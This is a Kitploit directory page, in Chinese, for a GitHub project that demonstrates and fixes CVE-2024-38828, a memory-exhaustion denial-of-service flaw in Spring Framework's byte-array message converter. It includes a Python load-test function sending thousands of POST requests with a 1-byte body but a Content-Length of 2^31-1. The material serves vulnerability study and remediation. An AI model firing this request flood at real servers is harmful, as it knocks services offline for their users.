Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-38828 | Kitploit
工具/GitHubGitHub/funcid/cve-2024-38828
漏洞分析代码分析漏洞利用Web安全学习与教育
GitHubfuncid/cve-2024-38828

CVE-2024-38828

查看仓库
1年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-38828 漏洞

描述

该测试检查在存在与不存在 CVE-2024-38828 漏洞时 Spring Framework 的行为/反应。 在 ByteArrayHttpMessageConverter 中,会根据请求头 Content-Length 在 ByteArrayOutputStream 中分配内存,这可能与实际为 0 字节的请求体不符。当此类请求急剧增加时(DoS),内存使用效率低下,GC 清理频繁出现,应用开始卡顿。我将展示如何实现/修复以及相关指标。

指标图表

漏洞描述

CVE-2024-38828 是 Spring Framework 中的一种拒绝服务(DoS)漏洞,攻击者可以通过参数类型为 byte[] 的 Spring MVC 控制器导致服务器内存耗尽。

技术细节

  • 受影响版本:Spring Framework 5.3.x(所有版本)
  • 漏洞类型:拒绝服务(DoS)
  • 攻击向量:Content-Length = 2 ^ 31 - 1 的 HTTP POST 请求
  • 影响:服务器内存耗尽,导致拒绝服务

解决方案

已实现的修复

  1. 创建了自定义的 HttpMessageConverter 来处理字节数组
  2. 实现了对传入数据大小的检查
  3. 使用流式方法来处理大型 payload

测试

项目结构

root@kitploit:~
.
├── src/
│   └── main/
│       └── java/
│           └── me/
│               └── func/
│                   └── demo/
│                       ├── config/
│                       │   └── WebConfig.java
│                       ├── converter/
│                       │   └── SafeByteArrayHttpMessageConverter.java
│                       ├── controller/
│                       │   └── DemoController.java
│                       └── DemoApplication.java
├── tests/
│   ├── load_test.py
│   └── results/
│       ├── результаты_теста.png
│       └── метрики.json
└── README.md

测试参数

  • 请求数量:6000
  • 最大并发请求数:5
  • 请求组之间的延迟:0.1 秒
  • 请求大小:1 字节
  • Content-Length 请求头:2^31 - 1(int 的最大值)

测试代码

root@kitploit:~
def send_request(url):
    try:
        response = requests.post(
            url,
            data=b'0',  # Минимальный payload
            headers={
                'Content-Type': 'application/octet-stream',
                'Content-Length': str(2**31 - 1)  # Максимальный размер
            }
        )
        return response.status_code, response.text
    except Exception as e:
        return f"Ошибка: {str(e)}", None

运行测试

  1. 安装 Python 依赖:
root@kitploit:~
pip install -r requirements.txt
  1. 运行测试:
root@kitploit:~
python tests/load_test.py
下载工具